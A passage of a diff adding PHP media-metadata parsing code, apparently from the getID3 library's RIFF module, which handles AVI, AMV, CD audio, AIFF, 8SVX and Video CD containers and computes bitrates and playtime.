+									$thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex];
+
+									switch ($strhfccType) {
+										case 'auds':
+											$thisfile_audio['bitrate_mode'] = 'cbr';
+											$thisfile_audio_dataformat      = 'wav';
+											if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) {
+												$streamindex = count($thisfile_riff_audio);
+											}
+
+											$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData);
+											$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];
+
+											// shortcut
+											$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
+											$thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex];
+
+											if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) {
+												unset($thisfile_audio_streams_currentstream['bits_per_sample']);
+											}
+											$thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag'];
+											unset($thisfile_audio_streams_currentstream['raw']);
+
+											// shortcut
+											$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw'];
+
+											unset($thisfile_riff_audio[$streamindex]['raw']);
+											$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);
+
+											$thisfile_audio['lossless'] = false;
+											switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) {
+												case 0x0001:  // PCM
+													$thisfile_audio_dataformat  = 'wav';
+													$thisfile_audio['lossless'] = true;
+													break;
+
+												case 0x0050: // MPEG Layer 2 or Layer 1
+													$thisfile_audio_dataformat = 'mp2'; // Assume Layer-2
+													break;
+
+												case 0x0055: // MPEG Layer 3
+													$thisfile_audio_dataformat = 'mp3';
+													break;
+
+												case 0x00FF: // AAC
+													$thisfile_audio_dataformat = 'aac';
+													break;
+
+												case 0x0161: // Windows Media v7 / v8 / v9
+												case 0x0162: // Windows Media Professional v9
+												case 0x0163: // Windows Media Lossess v9
+													$thisfile_audio_dataformat = 'wma';
+													break;
+
+												case 0x2000: // AC-3
+													$thisfile_audio_dataformat = 'ac3';
+													break;
+
+												case 0x2001: // DTS
+													$thisfile_audio_dataformat = 'dts';
+													break;
+
+												default:
+													$thisfile_audio_dataformat = 'wav';
+													break;
+											}
+											$thisfile_audio_streams_currentstream['dataformat']   = $thisfile_audio_dataformat;
+											$thisfile_audio_streams_currentstream['lossless']     = $thisfile_audio['lossless'];
+											$thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
+											break;
+
+
+										case 'iavs':
+										case 'vids':
+											// shortcut
+											$thisfile_riff_raw['strh'][$i]                  = array();
+											$thisfile_riff_raw_strh_current                 = &$thisfile_riff_raw['strh'][$i];
+
+											$thisfile_riff_raw_strh_current['fccType']               =                         substr($strhData,  0, 4);  // same as $strhfccType;
+											$thisfile_riff_raw_strh_current['fccHandler']            =                         substr($strhData,  4, 4);
+											$thisfile_riff_raw_strh_current['dwFlags']               = $this->EitherEndian2Int(substr($strhData,  8, 4)); // Contains AVITF_* flags
+											$thisfile_riff_raw_strh_current['wPriority']             = $this->EitherEndian2Int(substr($strhData, 12, 2));
+											$thisfile_riff_raw_strh_current['wLanguage']             = $this->EitherEndian2Int(substr($strhData, 14, 2));
+											$thisfile_riff_raw_strh_current['dwInitialFrames']       = $this->EitherEndian2Int(substr($strhData, 16, 4));
+											$thisfile_riff_raw_strh_current['dwScale']               = $this->EitherEndian2Int(substr($strhData, 20, 4));
+											$thisfile_riff_raw_strh_current['dwRate']                = $this->EitherEndian2Int(substr($strhData, 24, 4));
+											$thisfile_riff_raw_strh_current['dwStart']               = $this->EitherEndian2Int(substr($strhData, 28, 4));
+											$thisfile_riff_raw_strh_current['dwLength']              = $this->EitherEndian2Int(substr($strhData, 32, 4));
+											$thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4));
+											$thisfile_riff_raw_strh_current['dwQuality']             = $this->EitherEndian2Int(substr($strhData, 40, 4));
+											$thisfile_riff_raw_strh_current['dwSampleSize']          = $this->EitherEndian2Int(substr($strhData, 44, 4));
+											$thisfile_riff_raw_strh_current['rcFrame']               = $this->EitherEndian2Int(substr($strhData, 48, 4));
+
+											$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']);
+											$thisfile_video['fourcc']             = $thisfile_riff_raw_strh_current['fccHandler'];
+											if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
+												$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']);
+												$thisfile_video['fourcc']             = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
+											}
+											$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
+											$thisfile_video['pixel_aspect_ratio'] = (float) 1;
+											switch ($thisfile_riff_raw_strh_current['fccHandler']) {
+												case 'HFYU': // Huffman Lossless Codec
+												case 'IRAW': // Intel YUV Uncompressed
+												case 'YUY2': // Uncompressed YUV 4:2:2
+													$thisfile_video['lossless'] = true;
+													break;
+
+												default:
+													$thisfile_video['lossless'] = false;
+													break;
+											}
+
+											switch ($strhfccType) {
+												case 'vids':
+													$thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff'));
+													$thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount'];
+
+													if ($thisfile_riff_video_current['codec'] == 'DV') {
+														$thisfile_riff_video_current['dv_type'] = 2;
+													}
+													break;
+
+												case 'iavs':
+													$thisfile_riff_video_current['dv_type'] = 1;
+													break;
+											}
+											break;
+
+										default:
+											$info['warning'][] = 'Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"';
+											break;
+
+									}
+								}
+							}
+
+							if (isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
+
+								$thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
+								if (self::fourccLookup($thisfile_video['fourcc'])) {
+									$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']);
+									$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
+								}
+
+								switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) {
+									case 'HFYU': // Huffman Lossless Codec
+									case 'IRAW': // Intel YUV Uncompressed
+									case 'YUY2': // Uncompressed YUV 4:2:2
+										$thisfile_video['lossless']        = true;
+										//$thisfile_video['bits_per_sample'] = 24;
+										break;
+
+									default:
+										$thisfile_video['lossless']        = false;
+										//$thisfile_video['bits_per_sample'] = 24;
+										break;
+								}
+
+							}
+						}
+					}
+				}
+				break;
+
+
+			case 'AMV ':
+				$info['fileformat'] = 'amv';
+				$info['mime_type']  = 'video/amv';
+
+				$thisfile_video['bitrate_mode']    = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR
+				$thisfile_video['dataformat']      = 'mjpeg';
+				$thisfile_video['codec']           = 'mjpeg';
+				$thisfile_video['lossless']        = false;
+				$thisfile_video['bits_per_sample'] = 24;
+
+				$thisfile_audio['dataformat']   = 'adpcm';
+				$thisfile_audio['lossless']     = false;
+				break;
+
+
+			// http://en.wikipedia.org/wiki/CD-DA
+			case 'CDDA':
+				$info['fileformat'] = 'cda';
+			    unset($info['mime_type']);
+
+				$thisfile_audio_dataformat      = 'cda';
+
+				$info['avdataoffset'] = 44;
+
+				if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) {
+					// shortcut
+					$thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0];
+
+					$thisfile_riff_CDDA_fmt_0['unknown1']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  0, 2));
+					$thisfile_riff_CDDA_fmt_0['track_num']          = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  2, 2));
+					$thisfile_riff_CDDA_fmt_0['disc_id']            = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  4, 4));
+					$thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  8, 4));
+					$thisfile_riff_CDDA_fmt_0['playtime_frames']    = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4));
+					$thisfile_riff_CDDA_fmt_0['unknown6']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4));
+					$thisfile_riff_CDDA_fmt_0['unknown7']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4));
+
+					$thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75;
+					$thisfile_riff_CDDA_fmt_0['playtime_seconds']     = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75;
+					$info['comments']['track']                = $thisfile_riff_CDDA_fmt_0['track_num'];
+					$info['playtime_seconds']                 = $thisfile_riff_CDDA_fmt_0['playtime_seconds'];
+
+					// hardcoded data for CD-audio
+					$thisfile_audio['lossless']        = true;
+					$thisfile_audio['sample_rate']     = 44100;
+					$thisfile_audio['channels']        = 2;
+					$thisfile_audio['bits_per_sample'] = 16;
+					$thisfile_audio['bitrate']         = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample'];
+					$thisfile_audio['bitrate_mode']    = 'cbr';
+				}
+				break;
+
+            // http://en.wikipedia.org/wiki/AIFF
+			case 'AIFF':
+			case 'AIFC':
+				$info['fileformat'] = 'aiff';
+				$info['mime_type']  = 'audio/x-aiff';
+
+				$thisfile_audio['bitrate_mode'] = 'cbr';
+				$thisfile_audio_dataformat      = 'aiff';
+				$thisfile_audio['lossless']     = true;
+
+				if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8;
+					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size'];
+					if ($info['avdataend'] > $info['filesize']) {
+						if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) {
+							// structures rounded to 2-byte boundary, but dumb encoders
+							// forget to pad end of file to make this actually work
+						} else {
+							$info['warning'][] = 'Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found';
+						}
+						$info['avdataend'] = $info['filesize'];
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) {
+
+					// shortcut
+					$thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data'];
+
+					$thisfile_riff_audio['channels']         =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  0,  2), true);
+					$thisfile_riff_audio['total_samples']    =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  2,  4), false);
+					$thisfile_riff_audio['bits_per_sample']  =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  6,  2), true);
+					$thisfile_riff_audio['sample_rate']      = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  8, 10));
+
+					if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) {
+						$thisfile_riff_audio['codec_fourcc'] =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18,  4);
+						$CodecNameSize                       =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22,  1), false);
+						$thisfile_riff_audio['codec_name']   =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23,  $CodecNameSize);
+						switch ($thisfile_riff_audio['codec_name']) {
+							case 'NONE':
+								$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
+								$thisfile_audio['lossless'] = true;
+								break;
+
+							case '':
+								switch ($thisfile_riff_audio['codec_fourcc']) {
+									// http://developer.apple.com/qa/snd/snd07.html
+									case 'sowt':
+										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM';
+										$thisfile_audio['lossless'] = true;
+										break;
+
+									case 'twos':
+										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM';
+										$thisfile_audio['lossless'] = true;
+										break;
+
+									default:
+										break;
+								}
+								break;
+
+							default:
+								$thisfile_audio['codec']    = $thisfile_riff_audio['codec_name'];
+								$thisfile_audio['lossless'] = false;
+								break;
+						}
+					}
+
+					$thisfile_audio['channels']        = $thisfile_riff_audio['channels'];
+					if ($thisfile_riff_audio['bits_per_sample'] > 0) {
+						$thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample'];
+					}
+					$thisfile_audio['sample_rate']     = $thisfile_riff_audio['sample_rate'];
+					if ($thisfile_audio['sample_rate'] == 0) {
+						$info['error'][] = 'Corrupted AIFF file: sample_rate == zero';
+						return false;
+					}
+					$info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate'];
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) {
+					$offset = 0;
+					$CommentCount                                   = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
+					$offset += 2;
+					for ($i = 0; $i < $CommentCount; $i++) {
+						$info['comments_raw'][$i]['timestamp']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false);
+						$offset += 4;
+						$info['comments_raw'][$i]['marker_id']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true);
+						$offset += 2;
+						$CommentLength                              = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
+						$offset += 2;
+						$info['comments_raw'][$i]['comment']        =                           substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength);
+						$offset += $CommentLength;
+
+						$info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']);
+						$thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment'];
+					}
+				}
+
+				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
+				foreach ($CommentsChunkNames as $key => $value) {
+					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
+						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
+					}
+				}
+/*
+				if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) {
+					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
+					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8;
+					if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
+						$info['id3v2'] = $getid3_temp->info['id3v2'];
+					}
+					unset($getid3_temp, $getid3_id3v2);
+				}
+*/
+				break;
+
+			// http://en.wikipedia.org/wiki/8SVX
+			case '8SVX':
+				$info['fileformat'] = '8svx';
+				$info['mime_type']  = 'audio/8svx';
+
+				$thisfile_audio['bitrate_mode']    = 'cbr';
+				$thisfile_audio_dataformat         = '8svx';
+				$thisfile_audio['bits_per_sample'] = 8;
+				$thisfile_audio['channels']        = 1; // overridden below, if need be
+
+				if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) {
+					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8;
+					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size'];
+					if ($info['avdataend'] > $info['filesize']) {
+						$info['warning'][] = 'Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found';
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) {
+					// shortcut
+					$thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0];
+
+					$thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples']  =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  0, 4));
+					$thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples']   =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  4, 4));
+					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  8, 4));
+					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']     =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2));
+					$thisfile_riff_RIFFsubtype_VHDR_0['ctOctave']          =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1));
+					$thisfile_riff_RIFFsubtype_VHDR_0['sCompression']      =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1));
+					$thisfile_riff_RIFFsubtype_VHDR_0['Volume']            = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4));
+
+					$thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'];
+
+					switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) {
+						case 0:
+							$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
+							$thisfile_audio['lossless'] = true;
+							$ActualBitsPerSample        = 8;
+							break;
+
+						case 1:
+							$thisfile_audio['codec']    = 'Fibonacci-delta encoding';
+							$thisfile_audio['lossless'] = false;
+							$ActualBitsPerSample        = 4;
+							break;
+
+						default:
+							$info['warning'][] = 'Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.sCompression.'"';
+							break;
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) {
+					$ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4));
+					switch ($ChannelsIndex) {
+						case 6: // Stereo
+							$thisfile_audio['channels'] = 2;
+							break;
+
+						case 2: // Left channel only
+						case 4: // Right channel only
+							$thisfile_audio['channels'] = 1;
+							break;
+
+						default:
+							$info['warning'][] = 'Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"';
+							break;
+					}
+
+				}
+
+				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
+				foreach ($CommentsChunkNames as $key => $value) {
+					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
+						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
+					}
+				}
+
+				$thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels'];
+				if (!empty($thisfile_audio['bitrate'])) {
+					$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8);
+				}
+				break;
+
+			case 'CDXA':
+				$info['fileformat'] = 'vcd'; // Asume Video CD
+				$info['mime_type']  = 'video/mpeg';
+
+				if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) {
+					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true);
+
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_mpeg = new getid3_mpeg($getid3_temp);
+					$getid3_mpeg->Analyze();
+					if (empty($getid3_temp->info['error'])) {
+						$info['audio']   = $getid3_temp->info['audio'];
+						$info['video']   = $getid3_temp->info['video'];
+						$info['mpeg']    = $getid3_temp->info['mpeg'];
+						$info['warning'] = $getid3_temp->info['warning'];
+					}
+					unset($getid3_temp, $getid3_mpeg);
+				}
+				break;
+
+
+			default:
+				$info['error'][] = 'Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA), found "'.$RIFFsubtype.'" instead';
+				//unset($info['fileformat']);
+		}
+
+		switch ($RIFFsubtype) {
+			case 'WAVE':
+			case 'AIFF':
+			case 'AIFC':
+				$ID3v2_key_good = 'id3 ';
+				$ID3v2_keys_bad = array('ID3 ', 'tag ');
+				foreach ($ID3v2_keys_bad as $ID3v2_key_bad) {
+					if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) {
+						$thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad];
+						$info['warning'][] = 'mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"';
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) {
+					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
+
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
+					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8;
+					if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
+						$info['id3v2'] = $getid3_temp->info['id3v2'];
+					}
+					unset($getid3_temp, $getid3_id3v2);
+				}
+				break;
+		}
+
+		if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) {
+			$thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4));
+		}
+		if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) {
+			self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']);
+		}
+		if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) {
+			self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']);
+		}
+
+		if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) {
+			$thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version'];
+		}
+
+		if (!isset($info['playtime_seconds'])) {
+			$info['playtime_seconds'] = 0;
+		}
+		if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) {
+			// needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie
+			$info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
+		} elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) {
+			$info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
+		}
+
+		if ($info['playtime_seconds'] > 0) {
+			if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {
+
+				if (!isset($info['bitrate'])) {
+					$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+				}
+
+			} elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) {
+
+				if (!isset($thisfile_audio['bitrate'])) {
+					$thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+				}
+
+			} elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {
+
+				if (!isset($thisfile_video['bitrate'])) {
+					$thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+				}
+
+			}
+		}
+
+
+		if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) {
+
+			$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+			$thisfile_audio['bitrate'] = 0;
+			$thisfile_video['bitrate'] = $info['bitrate'];
+			foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) {
+				$thisfile_video['bitrate'] -= $audioinfoarray['bitrate'];
+				$thisfile_audio['bitrate'] += $audioinfoarray['bitrate'];
+			}
+			if ($thisfile_video['bitrate'] <= 0) {
+				unset($thisfile_video['bitrate']);
+			}
+			if ($thisfile_audio['bitrate'] <= 0) {
+				unset($thisfile_audio['bitrate']);
+			}
+		}
+
+		if (isset($info['mpeg']['audio'])) {
+			$thisfile_audio_dataformat      = 'mp'.$info['mpeg']['audio']['layer'];
+			$thisfile_audio['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+			$thisfile_audio['channels']     = $info['mpeg']['audio']['channels'];
+			$thisfile_audio['bitrate']      = $info['mpeg']['audio']['bitrate'];
+			$thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+			if (!empty($info['mpeg']['audio']['codec'])) {
+				$thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec'];
+			}
+			if (!empty($thisfile_audio['streams'])) {
+				foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) {
+					if ($streamdata['dataformat'] == $thisfile_audio_dataformat) {
+						$thisfile_audio['streams'][$streamnumber]['sample_rate']  = $thisfile_audio['sample_rate'];
+						$thisfile_audio['streams'][$streamnumber]['channels']     = $thisfile_audio['channels'];
+						$thisfile_audio['streams'][$streamnumber]['bitrate']      = $thisfile_audio['bitrate'];
+						$thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
+						$thisfile_audio['streams'][$streamnumber]['codec']        = $thisfile_audio['codec'];
+					}
+				}
+			}
+			$getid3_mp3 = new getid3_mp3($this->getid3);
+			$thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions();
+			unset($getid3_mp3);
+		}
+
+
+		if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) {
+			switch ($thisfile_audio_dataformat) {
+				case 'ac3':
+					// ignore bits_per_sample
+					break;
+
+				default:
+					$thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample'];
+					break;
+			}
+		}
+
+
+		if (empty($thisfile_riff_raw)) {
+			unset($thisfile_riff['raw']);
+		}
+		if (empty($thisfile_riff_audio)) {
+			unset($thisfile_riff['audio']);
+		}
+		if (empty($thisfile_riff_video)) {
+			unset($thisfile_riff['video']);
+		}
+
+		return true;
+	}
+
+	public function ParseRIFFAMV($startoffset, $maxoffset) {
+		// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
+
+		// https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation
+		//typedef struct _amvmainheader {
+		//FOURCC fcc; // 'amvh'
+		//DWORD cb;
+		//DWORD dwMicroSecPerFrame;
+		//BYTE reserve[28];
+		//DWORD dwWidth;
+		//DWORD dwHeight;
+		//DWORD dwSpeed;
+		//DWORD reserve0;
+		//DWORD reserve1;
+		//BYTE bTimeSec;
+		//BYTE bTimeMin;
+		//WORD wTimeHour;
+		//} AMVMAINHEADER;
+
+		$info = &$this->getid3->info;
+		$RIFFchunk = false;
+
+		try {
+
+			$this->fseek($startoffset);
+			$maxoffset = min($maxoffset, $info['avdataend']);
+			$AMVheader = $this->fread(284);
+			if (substr($AMVheader,   0,  8) != 'hdrlamvh') {
+				throw new Exception('expecting "hdrlamv" at offset '.($startoffset +   0).', found "'.substr($AMVheader,   0, 8).'"');
+			}
+			if (substr($AMVheader,   8,  4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes
+				throw new Exception('expecting "0x38000000" at offset '.($startoffset +   8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,   8, 4)).'"');
+			}
+			$RIFFchunk = array();
+			$RIFFchunk['amvh']['us_per_frame']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  12,  4));
+			$RIFFchunk['amvh']['reserved28']     =                              substr($AMVheader,  16, 28);  // null? reserved?
+			$RIFFchunk['amvh']['resolution_x']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  44,  4));
